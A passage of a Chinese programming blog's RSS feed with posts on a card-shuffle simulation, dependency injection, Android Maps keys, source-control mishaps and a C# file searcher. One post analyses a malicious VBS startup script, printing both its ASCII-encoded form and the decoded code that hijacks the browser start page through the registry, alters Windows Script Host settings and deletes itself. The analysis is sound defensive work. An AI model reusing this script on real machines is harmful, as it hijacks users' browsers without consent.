&lt;p&gt;ps:刚开始写那个随机数的时候，我随便给了个种子2012.。结果你懂的。。意外意外。这个全局的result数组让我很疼，代码有什么可以改进的，欢迎留言指出。不胜感激。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;/*Author:Bystander
 *Blog:http://leaver.me 
 *Date:2012/11/24*/
using System;

class Program
{
    static int[,] result;
    static void Main()
    {
        //初始牌的顺序，我只测试10张牌的情况
        char[] _arr = { &#39;A&#39;, &#39;B&#39;, &#39;C&#39;, &#39;D&#39;, &#39;E&#39;, &#39;F&#39;, &#39;G&#39;, &#39;H&#39;, &#39;I&#39;, &#39;J&#39; };
        result = new int[_arr.Length, _arr.Length];
        //进行1000次，来统计结果的数字.

        for (int i = 0; i &amp;lt; 10000; i++)
        {
            ShuffleArray_Manual(_arr);
            SumCount(_arr);
        }

        int j = 0;
        foreach (int i in result)
        {
            if (j % result.GetLength(1) == 0)
            {
                Console.WriteLine();
            }
            Console.Write(i + &#34;\t&#34;);
            j++;
        }

    }

    //模拟洗牌
    static void ShuffleArray_Manual(char[] arr)
    {

        Random rand = new Random(Guid.NewGuid().GetHashCode());
        int len = arr.Length;
        int mid = len / 2;

        /*
         * 洗牌的过程重复进行5次，为了洗的均匀.每次都是先平分扑克，然后完全交叉，然后从牌中拿出一部分，放在牌的最前面，也就是切牌，然后再进行下次平分扑克。
         */
        //双手洗牌5次，默认认为是平分扑克
        for (int n = 0; n &amp;lt; 5; n++)
        {

            //两手洗牌
            for (int i = 1; i &amp;lt; mid; i += 2)
            {
                char tmp = arr[i];
                arr[i] = arr[mid + i];
                arr[mid + i] = tmp;
            }

            //随机切牌
            //注意切牌指的是从中抽出n张牌放到扑克牌的前面去
            char[] buf = new char[len];

            for (int j = 0; j &amp;lt; 5; j++)
            {
                //产生从大于等于1小于len的数
                int start = rand.Next() % (len - 1) + 1;

                //产生大于等于0小于等于一半的数
                int numCards = rand.Next() % (len / 2) + 1;

                if (start + numCards &amp;gt; len)
                {
                    numCards = len - start;
                }

                //把扑克牌arr的前start张牌复制到buf里
                Array.ConstrainedCopy(arr, 0, buf, 0, start);

                ///然后把切出来的numCards张牌，起始下标为start的移动到扑克牌arr的最前面
                Array.ConstrainedCopy(arr, start, arr, 0, numCards);

                ///最后把切出去的buf牌（numCards张）复制回扑克牌arr的numCards之后的元素
                Array.ConstrainedCopy(buf, 0, arr, numCards, start);
            }

        }
    }

    //统计一次结果的次数，存入结果数组
    static void SumCount(char[] arr)
    {
        for (int i = 0; i &amp;lt; arr.Length; i++)
        {
            result[arr[i] - &#39;A&#39;, i] += 1;
        }
    }
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>一个恶意vbs脚本的简单解码</title>
      <link>http://blog.leaver.me/2012/11/25/%E4%B8%80%E4%B8%AA%E6%81%B6%E6%84%8Fvbs%E8%84%9A%E6%9C%AC%E7%9A%84%E7%AE%80%E5%8D%95%E8%A7%A3%E7%A0%81/</link>
      <pubDate>Sun, 25 Nov 2012 09:00:59 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/11/25/%E4%B8%80%E4%B8%AA%E6%81%B6%E6%84%8Fvbs%E8%84%9A%E6%9C%AC%E7%9A%84%E7%AE%80%E5%8D%95%E8%A7%A3%E7%A0%81/</guid>
      <description>&lt;p&gt;今天把电脑还原到了11月7号。结果eset更新后报C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup这个目录有个zzs.vbs的不受欢迎的程序，当时没什么事，就打开看看。想知道是个什么东西。&lt;/p&gt;
&lt;p&gt;由于eset阻止，我就把文件拖出来。改个后缀。发现代码不长，前半段是ascii码编码的。。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;strs = Array(68,111,13,10,32,32,32,32,83,101,116,32,111,98,106,87,77,73,83,101,114,118,105,99,101,32,61,32,71,101,116,79,98,106,101,99,116,40,34,119,105,110,109,103,109,116,115,58,92,92,46,92,114,111,111,116,92,99,105,109,118,50,34,41,13,10,32,32,32,32,83,101,116,32,99,111,108,80,114,111,99,101,115,115,101,115,32,61,32,111,98,106,87,77,73,83,101,114,118,105,99,101,46,69,120,101,99,81,117,101,114,121,40,34,83,101,108,101,99,116,32,42,32,102,114,111,109,32,87,105,110,51,50,95,80,114,111,99,101,115,115,34,41,13,10,32,32,32,32,70,111,117,110,100,80,114,111,99,101,115,115,32,61,32,48,13,10,32,32,32,32,70,111,114,32,69,97,99,104,32,111,98,106,80,114,111,99,101,115,115,32,73,110,32,99,111,108,80,114,111,99,101,115,115,101,115,13,10,32,32,32,32,32,32,32,32,73,102,32,111,98,106,80,114,111,99,101,115,115,46,78,97,109,101,32,61,32,34,117,115,101,114,105,110,105,116,46,101,120,101,34,32,84,104,101,110,13,10,32,32,32,32,32,32,32,32,32,32,32,32,70,111,117,110,100,80,114,111,99,101,115,115,32,61,32,49,13,10,32,32,32,32,32,32,32,32,32,32,32,32,69,120,105,116,32,70,111,114,13,10,32,32,32,32,32,32,32,32,69,110,100,32,73,102,13,10,32,32,32,32,78,101,120,116,13,10,32,32,32,32,73,102,32,70,111,117,110,100,80,114,111,99,101,115,115,32,61,32,48,32,84,104,101,110,32,69,120,105,116,32,68,111,13,10,32,32,32,32,87,83,99,114,105,112,116,46,83,108,101,101,112,32,49,48,48,13,10,76,111,111,112,13,10,13,10,115,80,97,103,101,32,61,32,34,104,116,116,112,58,47,47,119,119,119,46,57,57,57,46,99,111,109,47,63,111,110,101,34,13,10,13,10,83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,111,98,106,83,104,101,108,108,46,82,101,103,87,114,105,116,101,32,34,72,75,67,85,92,83,111,102,116,119,97,114,101,92,77,105,99,114,111,115,111,102,116,92,73,110,116,101,114,110,101,116,32,69,120,112,108,111,114,101,114,92,77,97,105,110,92,83,116,97,114,116,32,80,97,103,101,34,44,32,115,80,97,103,101,13,10,13,10,115,82,101,103,80,97,116,104,32,61,32,34,72,75,76,77,92,83,79,70,84,87,65,82,69,92,77,105,99,114,111,115,111,102,116,92,87,105,110,100,111,119,115,32,83,99,114,105,112,116,32,72,111,115,116,92,83,101,116,116,105,110,103,115,34,13,10,79,110,32,69,114,114,111,114,32,82,101,115,117,109,101,32,78,101,120,116,13,10,105,69,110,97,98,108,101,100,32,61,32,111,98,106,83,104,101,108,108,46,82,101,103,82,101,97,100,32,95,13,10,40,115,82,101,103,80,97,116,104,32,38,32,34,92,69,110,97,98,108,101,100,95,34,41,13,10,73,102,32,69,114,114,46,78,117,109,98,101,114,32,61,32,48,32,84,104,101,110,13,10,32,32,32,32,111,98,106,83,104,101,108,108,46,82,101,103,87,114,105,116,101,32,115,82,101,103,80,97,116,104,32,38,32,34,92,69,110,97,98,108,101,100,34,44,32,105,69,110,97,98,108,101,100,44,32,34,82,69,71,95,68,87,79,82,68,34,13,10,32,32,32,32,111,98,106,83,104,101,108,108,46,82,101,103,68,101,108,101,116,101,32,115,82,101,103,80,97,116,104,32,38,32,34,92,69,110,97,98,108,101,100,95,34,13,10,69,110,100,32,73,102,13,10,13,10,83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,99,114,105,112,116,105,110,103,46,70,105,108,101,83,121,115,116,101,109,79,98,106,101,99,116,34,41,13,10,83,101,116,32,102,32,61,32,111,98,106,83,104,101,108,108,46,71,101,116,70,105,108,101,40,87,83,99,114,105,112,116,46,83,99,114,105,112,116,70,117,108,108,78,97,109,101,41,13,10,73,102,32,102,46,65,116,116,114,105,98,117,116,101,115,32,65,110,100,32,49,32,84,104,101,110,32,102,46,65,116,116,114,105,98,117,116,101,115,32,61,32,102,46,65,116,116,114,105,98,117,116,101,115,32,45,32,49,13,10,111,98,106,83,104,101,108,108,46,68,101,108,101,116,101,70,105,108,101,32,87,83,99,114,105,112,116,46,83,99,114,105,112,116,70,117,108,108,78,97,109,101)&lt;/pre&gt;
&lt;p&gt;后半段是&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;For i = 0 To UBound(strs)
    runner = runner &amp;amp; Chr(strs(i))
Next
Execute runner&lt;/pre&gt;
&lt;p&gt;虽说对vbs不怎么熟，但也知道vbs经常用来写个启动项啊。加个用户啊。之类的。后半句很好懂。就是把ascii码转换成字符串，然后执行。字面意思看看就行了。其实应该可以直接将Execute runner 改为 MsgBox runner就能输出了。但eset不能关闭。所以最后还是选择用C#来写了。&lt;/p&gt;
&lt;p&gt;解码嘛。很简单。VS刚好开着。直接写吧。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt; byte[] strs = {68，101,116,70,105,108,101,40,87,83,99,114,105,112,116,46,83,99,114,105,112,116,70,117,108,108,78,97,109,101,41,13,10,73,102,32,102,46,65,116,116,114,105,98,117,116,101,115,32,65,110,100,32,49,32,84,104,101,110,32,102,46,65,116,116,114,105,98,117,116,101,115,32,61,32,102,46,65,116,116,114,105,98,117,116,101,115,32,45,32,49,13,10,111,98,106,83,104,101,108,108,46,68,101,108,101,116,101,70,105,108,101,32,87,83,99,114,105,112,116,46,83,99,114,105,112,116,70,117,108,108,78,97,109,101};
        System.Text.ASCIIEncoding asciiEncoding = new System.Text.ASCIIEncoding();
        Console.WriteLine(asciiEncoding.GetString(strs));&lt;/pre&gt;
&lt;p&gt;运行后输出&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Do
    Set objWMIService = GetObject(&#34;winmgmts:\\.\root\cimv2&#34;)
    Set colProcesses = objWMIService.ExecQuery(&#34;Select * from Win32_Process&#34;)
    FoundProcess = 0
    For Each objProcess In colProcesses
        If objProcess.Name = &#34;userinit.exe&#34; Then
            FoundProcess = 1
            Exit For
        End If
    Next
    If FoundProcess = 0 Then Exit Do
    WScript.Sleep 100
Loop

sPage = &#34;http://www.999.com/?one&#34;

Set objShell = CreateObject(&#34;WScript.Shell&#34;)
objShell.RegWrite &#34;HKCU\Software\Microsoft\Internet Explorer\Main\Start Page&#34;, s
Page

sRegPath = &#34;HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings&#34;
On Error Resume Next
iEnabled = objShell.RegRead _
(sRegPath &amp;amp; &#34;\Enabled_&#34;)
If Err.Number = 0 Then
    objShell.RegWrite sRegPath &amp;amp; &#34;\Enabled&#34;, iEnabled, &#34;REG_DWORD&#34;
    objShell.RegDelete sRegPath &amp;amp; &#34;\Enabled_&#34;
End If

Set objShell = CreateObject(&#34;Scripting.FileSystemObject&#34;)
Set f = objShell.GetFile(WScript.ScriptFullName)
If f.Attributes And 1 Then f.Attributes = f.Attributes - 1
objShell.DeleteFile WScript.ScriptFullName&lt;/pre&gt;
&lt;p&gt;结合后半段。简单读一读，就知道这个先找了一下userinit.exe进程。然后改了注册表并且设置了浏览器首页为999这个什么网站，我打开发现是个导航站。。人家hao123做个导航站赚钱了。。你们要不要这样跟风啊。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>依赖倒置原则和依赖注入模式</title>
      <link>http://blog.leaver.me/2012/11/21/%E4%BE%9D%E8%B5%96%E5%80%92%E7%BD%AE%E5%8E%9F%E5%88%99%E5%92%8C%E4%BE%9D%E8%B5%96%E6%B3%A8%E5%85%A5%E6%A8%A1%E5%BC%8F/</link>
      <pubDate>Wed, 21 Nov 2012 13:46:48 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/11/21/%E4%BE%9D%E8%B5%96%E5%80%92%E7%BD%AE%E5%8E%9F%E5%88%99%E5%92%8C%E4%BE%9D%E8%B5%96%E6%B3%A8%E5%85%A5%E6%A8%A1%E5%BC%8F/</guid>
      <description>&lt;p&gt;昨天读完了程杰的《大话设计模式》。。收获颇丰。深刻感到了设计模式的伟大。。对面向接口的编程也理解了不少。刚好看到codeproject上一篇将依赖倒置的。讲到了依赖注入的方式。仔细读了一下。翻译一遍加深认识。&lt;/p&gt;
&lt;p&gt;高耦合的代码随着项目复杂性的不断增加，最终会变成一碗碗的意大利面条啦。。二者通常是软件设计上的问题，如果一个类对另一个类的实现了解太多。当该类改变的时候会引起更多的改变。这违反了依赖倒置原则&lt;/p&gt;
&lt;p&gt;而松耦合的代码设计优良。随着时间流逝，代码复杂两增大，松耦合的好处会变得更加清晰，依赖注入模式是实现松耦合的一个好的办法，本文介绍在没有依赖注入容器的情况下实现依赖注入&lt;/p&gt;
&lt;p&gt;GoF说了，依赖倒置的原则：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;高层模块不应依赖于低层模块，他们都应该依赖于抽象
抽象不依赖细节，细节依赖抽象&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;刚开始写依赖倒置比较难，随着经验增长会有所改善，通过使高层模块依赖于抽象，依赖倒置成功解耦，依赖注入模式是该原则的一个实现。&lt;/p&gt;
&lt;p&gt;通常我们写出如下的代码：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;public class Email
{
    public void SendEmail()
    {
        // code
    }
}

public class Notification
{
    private Email _email;
    public Notification()
    {
        _email = new Email();
    }

    public void PromotionalNotification()
    {
        _email.SendEmail();
    }
}
&lt;/pre&gt; 
&lt;p&gt;Notification类依赖Email类，这违反了DIP，而且当我们要发送短信/保存到数据库的时候，我们还要改变Notification类。
我们使用抽象类/接口解耦&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;public interface IMessageService
{
    void SendMessage();
}
public class Email : IMessageService
{
    public void SendMessage()
    {
        // code
    }
}
public class Notification
{
    private IMessageService _iMessageService;

    public Notification()
    {
        _iMessageService = new Email();
    }
    public void PromotionalNotification()
    {
        _iMessageService.SendMessage();
    }
}
&lt;/pre&gt; 
&lt;p&gt;IMessageService 是一个接口，而Notification 类只要调用接口的方法/属性就可以了
同时，我们把Email对象的构造移到Notification 类外面去。&lt;/p&gt;
&lt;p&gt;依赖注入模式可以实现。通常有三种方式&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;构造器注入&lt;/li&gt;
&lt;li&gt;属性注入&lt;/li&gt;
&lt;li&gt;方法注入&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;构造器注入&lt;/strong&gt;
最普遍的方式，当一个类需要另一个类的依赖的时候，我们通过构造函数来提供，现在我们这样写&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;public class Notification
{
    private IMessageService _iMessageService;

    public Notification(IMessageService _messageService)
    {
        this._iMessageService = _messageService;
    }
    public void PromotionalNotification()
    {
        _iMessageService.SendMessage();
    }
}&lt;/pre&gt; 
&lt;p&gt;有几个好处：1.构造函数实现很简单，Notification类需要知道的很少。想要创建Notification实例的时候看构造函数就可以知道需要什么信息了。因此实现了松耦合。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;属性注入&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;属性注入/setter注入比较不常见，当依赖可有可无的时候很有用。我们暴露一个可写的属性，允许客户提供不同的依赖实现，比如这样。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;public class Notification
{
    public IMessageService MessageService
    {
        get;
        set;
    }
    public void PromotionalNotification()
    {

        if (MessageService == null)
        {
            // some error message
        }
        else
        {
            MessageService.SendMessage();

        }
    }
}&lt;/pre&gt; 
&lt;p&gt;没有了构造函数。而用属性来替换，在PromotionalNotifications 方法里我们需要检查MessageService的值或者提供相应的服务。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Android开发获取Map API Key</title>
      <link>http://blog.leaver.me/2012/10/21/android%E5%BC%80%E5%8F%91%E8%8E%B7%E5%8F%96map-api-key/</link>
      <pubDate>Sun, 21 Oct 2012 11:01:14 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/21/android%E5%BC%80%E5%8F%91%E8%8E%B7%E5%8F%96map-api-key/</guid>
      <description>&lt;p&gt;地图应用使用com.google.android.maps这个包。通过MapView控件使用。但是之前需要申请一个用于开发的API Key，这个key会和当前的计算机用户绑定。然后通过这个key去官方申请就可以拿到一个开发用的api key了
&amp;lt;1&amp;gt;首先找到用户的debug.keystore文件，可以再”运行“里面搜debug.keystore；如：c:\users\Administrator.android\debug.keystore&lt;/p&gt;
&lt;p&gt;&amp;lt;2&amp;gt;接下来获取MD5指纹，网上很多说的有误。貌似新版默认是出现sha1加密的。通过添加-v 参数会显示所有。&lt;/p&gt;
&lt;p&gt;首先运行cmd,在dos界面里，输入&lt;/p&gt;
&lt;pre class=&#34;lang:apache decode:true crayon-selected&#34;&gt;keytool -list -v -keystore c:\users\Bystander\.android\debug.keystore&lt;/pre&gt;
&lt;p&gt;命令，然后会让你输入keystore密码，&lt;/p&gt;
&lt;p&gt;输入：android，之后，会出现指纹认证MD5，如下：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28249_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/81f1a9c78815b22e8b390275737d4d1c74212447.jpg&#34; title=&#34;md5&#34;&gt;&lt;/a&gt;
&amp;lt;3&amp;gt;去官方生成真正的api key
访问 &lt;a href=&#34;https://developers.google.com/android/maps-api-signup?hl=zh-CN&#34;&gt;Sign Up for the Android Maps API&lt;/a&gt; 输入那串值，同意条款，确定后要求用Google帐号登录。然后会拿到一个key。ok&lt;/p&gt;</description>
    </item>
    <item>
      <title>关于源代码控制的五个误区</title>
      <link>http://blog.leaver.me/2012/10/04/%E5%85%B3%E4%BA%8E%E6%BA%90%E4%BB%A3%E7%A0%81%E6%8E%A7%E5%88%B6%E7%9A%84%E4%BA%94%E4%B8%AA%E8%AF%AF%E5%8C%BA/</link>
      <pubDate>Thu, 04 Oct 2012 12:18:57 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/04/%E5%85%B3%E4%BA%8E%E6%BA%90%E4%BB%A3%E7%A0%81%E6%8E%A7%E5%88%B6%E7%9A%84%E4%BA%94%E4%B8%AA%E8%AF%AF%E5%8C%BA/</guid>
      <description>&lt;p&gt;上周，在Red Gate好朋友的帮助下。我发起了一个名为小竞赛赢得优秀的SQL  Source Control 5份授权的活动。参加的方式很简单-分享你使用源代码控制过程中，本可以避免的最痛苦的经历&lt;/p&gt;
&lt;p&gt;许多痛苦的故事都出现了。但是我认为这五个获奖者的故事值得分享，并且我都做了评论，因为我觉得随着时间的流逝，这些故事依然对我们有所启发。那么，开始享受这些故事吧，我希望这些知识中的闪光点能够帮助你以后不会掉进相同的陷阱里。&lt;/p&gt;
&lt;p&gt;给获奖者：希望那些授权可以帮助抚慰你们关于那些已经过去的痛苦记忆。不久我会联系你们关于奖项颁发的相关事宜。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;1.通过Ctrl-Z来进行源代码控制&lt;/p&gt;
&lt;p&gt;第一个故事来自 &lt;a href=&#34;http://www.troyhunt.com/2012/09/life-without-source-control-share-your.html#comment-661870477&#34;&gt;courtesy of MyChickenNinja&lt;/a&gt; ，仅仅文字就看得我头疼。在这个特殊的故事里。应用程序被前员工破坏了。。这非常头疼。但是至少还是有很多方法可以恢复代码的。如果不要求数据的话。。&lt;/p&gt;
&lt;p&gt;第一个问题是备份，最近的备份已经是3周前的。这绝对是一个教训—你的环境真的备份了吗？一会我会在另一个故事里简单的再说到这个问题。故事的核心部分是通过Ctrl-Z来进行伪源代码控制&lt;/p&gt;
&lt;p&gt;他们运行他们的代码，并且不断地更新，也包括开发环境，并且使用Ctrl-Z来撤销坏的改变&lt;/p&gt;
&lt;p&gt;好吧。这实在令人难以置信-如果你的应用程序已经做了一些编辑。然后被关闭了。怎么办？或者PC关机了？等等—他还说他们在哪写代码，哪儿就是开发环境？记住！撤销不是源代码控制！&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;2。多个数据库和集成问题&lt;/p&gt;
&lt;p&gt;第二个故事来自&lt;a href=&#34;http://www.troyhunt.com/2012/09/life-without-source-control-share-your.html#comment-661017718&#34;&gt;Brandon Thompson&lt;/a&gt;，他极度不开心，因为他工作在一个有着很多数据库源的环境里，并且，这些数据库都在正在进行的开发项目下面，数据库集成非常困难，这就意味着处理多个数据库备份可能还有个在海外。。&lt;/p&gt;
&lt;p&gt;我们的开发团队在海外，因为他们有他们自己的数据库集，这些数据库我从没看到过。但是他们会把改变的文件发给我们来适应我们的开发环境&lt;/p&gt;
&lt;p&gt;我发现最痛苦的是简单重复的手工劳动仅仅是使得大家能够协同的更好。这是没有一点创新并且没有任何增值的行为，比如增加新的特性，这就导致除了干这些。没什么时间真正在写代码了。&lt;/p&gt;
&lt;p&gt;源代码控制是为了能够保证团队之间平稳尽量无摩擦的一起工作。它是项目的一个润滑剂，和持续集成开发还有自动部署都属于同一类。这些都是软件开发中的“面包和黄油”，是任何成功团队编写代码的基础。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;3. 依赖未测试的备份&lt;/p&gt;
&lt;p&gt;下一个是&lt;a href=&#34;http://www.troyhunt.com/2012/09/life-without-source-control-share-your.html#comment-660761685&#34;&gt;Barry Anderson&lt;/a&gt;，他写了一个我们都曾经经历过的痛苦：不能从备份恢复了！事实上在Barry的故事里。几个月都没备份了。之前备份本身还是坏的。这太糟糕了。但是，对于那些依赖备份的人来说这是一个严重的疏忽。&lt;/p&gt;
&lt;p&gt;当然对于这个疏忽也有自己的借口。Barry解释道：&lt;/p&gt;
&lt;p&gt;我们的经理（不是存储团队的）后来告诉我们既没时间也没空间来测试备份了。。。&lt;/p&gt;
&lt;p&gt;备份是一件很重要的事情。但从备份可以恢复也是同等重要，我最近在配置大量的新环境的时候，备份本应该发生的但是就是没有发生。只有当我坚持要进行恢复测试的时候，问题才浮出水面，对于很多人来说。只有当他们真的需要从一系列的数据丢失中恢复数据的时候，才发现不能恢复了。。测试你的备份，恢复他们，不要相信任何人的说辞.&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;4.人工合并工具&lt;/p&gt;
&lt;p&gt;来自&lt;a href=&#34;http://www.troyhunt.com/2012/09/life-without-source-control-share-your.html#comment-660732156&#34;&gt;Graham Sutherland&lt;/a&gt;的故事讲了一个人来做机器工作的故事&lt;/p&gt;
&lt;p&gt;我们有一些开发人员，每一个在他们的硬盘上的都有整个项目的一个副本，每一次一个改变发生的时候，我们就会下载技术老大改变的源代码，然后使用diff工具来查看改变。然后手工更新他们。一行一行。。全靠双手。。&lt;/p&gt;
&lt;p&gt;这个故事比听起来还要不可思议，在源代码控制工具出现以前这确实是存在的。一个海外开发团队成员就是这样干的。随后他们这样解释：带头的开发者需要在提交前检查其他开发人员的工作进度。&lt;/p&gt;
&lt;p&gt;这确实是类似于之前的观点,在有多个数据库集成的情况下;我们有技术来解决这些问题!每当一个人在软件开发中从事任何劳动密集型,重复的过程,你真的不得不停下来问:“有没有更好的方法?”通常是有的。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;5.剪切和粘贴版本控制&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.troyhunt.com/2012/09/life-without-source-control-share-your.html#comment-660687452&#34;&gt;Robin Vessey&lt;/a&gt; 让我产生了共鸣，因为它真的是伪VCS（Version Control System）最普遍的方式。剪切或者复制，然后粘贴到新的位置，通过这种方式会包含重复的目录或者文件。因此一般这些文件会被以日期或者其他标识符来标识时间帧。&lt;/p&gt;
&lt;p&gt;在Robin的故事里，他打算通过网络移动一个目录结构。&lt;/p&gt;
&lt;p&gt;他很简单但高效，我剪贴然后粘贴了一个完整的目录树，任何东西，通过网络发送。但这些文件留在了我这一边。却没有到达另一边。我仍然不知道为什么。&lt;/p&gt;
&lt;p&gt;我必须承认,我对任何剪切和粘贴文件的操作的态度是非常谨慎的,因为我看到这种情况在一个本地文件系统中发生了很多次，更不用说通过网络了，在上面的的Robin的故事,就是没有备份被恢复,因为他们一段时间后会停止备份，“因为我们没有更多的空间”。是不是感觉好像和前面某一方法很像。。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;总结&lt;/p&gt;
&lt;p&gt;工作在一个没有源代码控制的环境下是很可怕的。现在就停止吧。伙计们，我们是很优秀，但在在源代码控制下工作是很专业的。并且现在有很多的VCS产品。托管服务，集成工具，真心是没有任何理由不把代码-包括数据库，部署在源代码控制下。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;原文地址:&lt;a href=&#34;http://www.troyhunt.com/2012/10/5-ways-to-do-source-control-really.html&#34;&gt;5-ways-to-do-source-control-really&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;著作权声明：本文由&lt;a href=&#34;http://leaver.me/&#34;&gt;http://leaver.me&lt;/a&gt; 翻译，欢迎转载分享。请尊重作者劳动，转载时保留该声明和作者博客链接，谢谢！&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#编写文件搜索器</title>
      <link>http://blog.leaver.me/2012/10/01/c%23%E7%BC%96%E5%86%99%E6%96%87%E4%BB%B6%E6%90%9C%E7%B4%A2%E5%99%A8/</link>
      <pubDate>Mon, 01 Oct 2012 11:36:29 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/01/c%23%E7%BC%96%E5%86%99%E6%96%87%E4%BB%B6%E6%90%9C%E7%B4%A2%E5%99%A8/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27654_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/6d2217ea2873cc4f559cc605fc38f29dade4aef8.jpg&#34; title=&#34;filesearcher&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;
在装有Vista的机器上。我想通过一个给定的字符串来搜索我硬盘上的一个文件，该文件内容包含这个字符串序列，资源管理器是做不到的。因此，我就决定自己写吧。然后就写成这样了。。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;我做了什么&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;你必须输入一个选择一个搜索目录，这样程序才知道在哪搜索文件/目录，如果你选上了“包含子目录”复选框，程序就会递归地搜索指定目录的子目录，指定的文件名可以是像 &amp;ldquo;&lt;em&gt;.wav;&lt;/em&gt;.mp3;Christma??ree.*&amp;rdquo; 这样的字符串，程序将会列出所有的文件/目录匹配这些文件名&lt;/p&gt;
&lt;p&gt;你也可以使用一些限制条件来限制找到的项目，每一个限制条件可以通过选上复选框来激活，限制条件的参数可以在右边选中就行了。&lt;/p&gt;
&lt;p&gt;1. “Files newer than”将会列出LastWriteTime（上次修改时间）晚于指定时间的文件
2. “Files newer than”将会列出LastWriteTime（上次修改时间）早于指定时间的文件
3. &amp;ldquo;Files containing the string&amp;quot;仅仅列出包含字符串参数的文件。&lt;/p&gt;
&lt;p&gt;程序将会把字符串转换成字节序列，可以使用ASCII或者Unicode编码，取决于你的选择，然后搜索每一个出现这个字节序列的文件。&lt;/p&gt;
&lt;p&gt;点击Start（开始）按钮就开始搜索了。找到的项目会列在下面，如果搜索时间太长了。你可以点击Stop（停止）来停止搜索。&lt;/p&gt;
&lt;p&gt;如果你双击下面的一个文件。不是文件夹哦，程序将会根据关联程序打开该文件
如果你邮件一个项目，然后选择“Open Containing Folder”（打开包含文件夹）将会在资源管理器里打开包含该项目的文件夹&lt;/p&gt;
&lt;p&gt;如果你想要把搜索结果保存到一个文本文件。输入个分隔符分隔项目，然后点击“Write results to text file…”（保存结果到文本…）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用代码&lt;/strong&gt;
1. MainWindow处理所有的界面事务
2. Searcher类提供了业务逻辑，用来搜索FileSystemInfo对象&lt;/p&gt;
&lt;p&gt;当用户点击Start（开始）按钮，Searcher.Start 方法就会执行，该方法开启了一个名为SearchThread 的新线程，这个线程搜索文件/目录，匹配用户输入的参数，如果找到了一个匹配的FileSystemInfo对象，它就出发一个异步的FoundInfo 事件，然后MainWindow就可以从FoundInfoEventArgs中解出FileSystemInfo对象，然后更新结果列表，当线程结束的时候，将m_thread成员对象设置为null，每一次Searcher.Start 执行的时候都会检测m_thread是否为null，因此同时不会有两个线程在运行。&lt;/p&gt;
&lt;p&gt;当用户点击Stop(停止)按钮的时候Searcher.Stop 方法被执行，然后设置m_stop 成员为true， Searchthread会注意到这个改变。注意本操作是线程安全的。因为布尔变量只需要一步就操作完成了&lt;/p&gt;
&lt;p&gt;重要：在Searcher_FoundInfo 事件处理中，MainWindow使用Invoke方法通过代理来调用this_FoundInfo 方法。通过这个方法，MainWindow是的更新结果列表的代码在MainWindow的线程里执行，而不是在Searcher的线程里，直接调用this_FoundInfo 方法会引发程序崩溃，因为Searcher_FoundInfo 事件处理和图形界面控件不同步。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;private delegate void FoundInfoSyncHandler(FoundInfoEventArgs e);
private FoundInfoSyncHandler FoundInfo;

...

private void MainWindow_Load(object sender, EventArgs e)
{
...
this.FoundInfo += new FoundInfoSyncHandler(this_FoundInfo);
...
}

...

private void Searcher_FoundInfo(FoundInfoEventArgs e)
{
if (!m_closing)
{
this.Invoke(FoundInfo, new object[] { e });
}
}

private void this_FoundInfo(FoundInfoEventArgs e)
{
CreateResultsListItem(e.Info);
}&lt;/pre&gt; 
&lt;p&gt;CreateResultsListItem 方法创建并添加一个ListViewItem 到结果列表中，然后展示FilesystemInfo 对象包含的数据，FileSystemInfo 可以是FileInfo 或是DirectoryInfo ，取决于Searcher 找到的结果， is操作符可以用来判断对象的类型，如果是FileInfo独享，列表还会以KB为单位显示文件大小&lt;/p&gt;
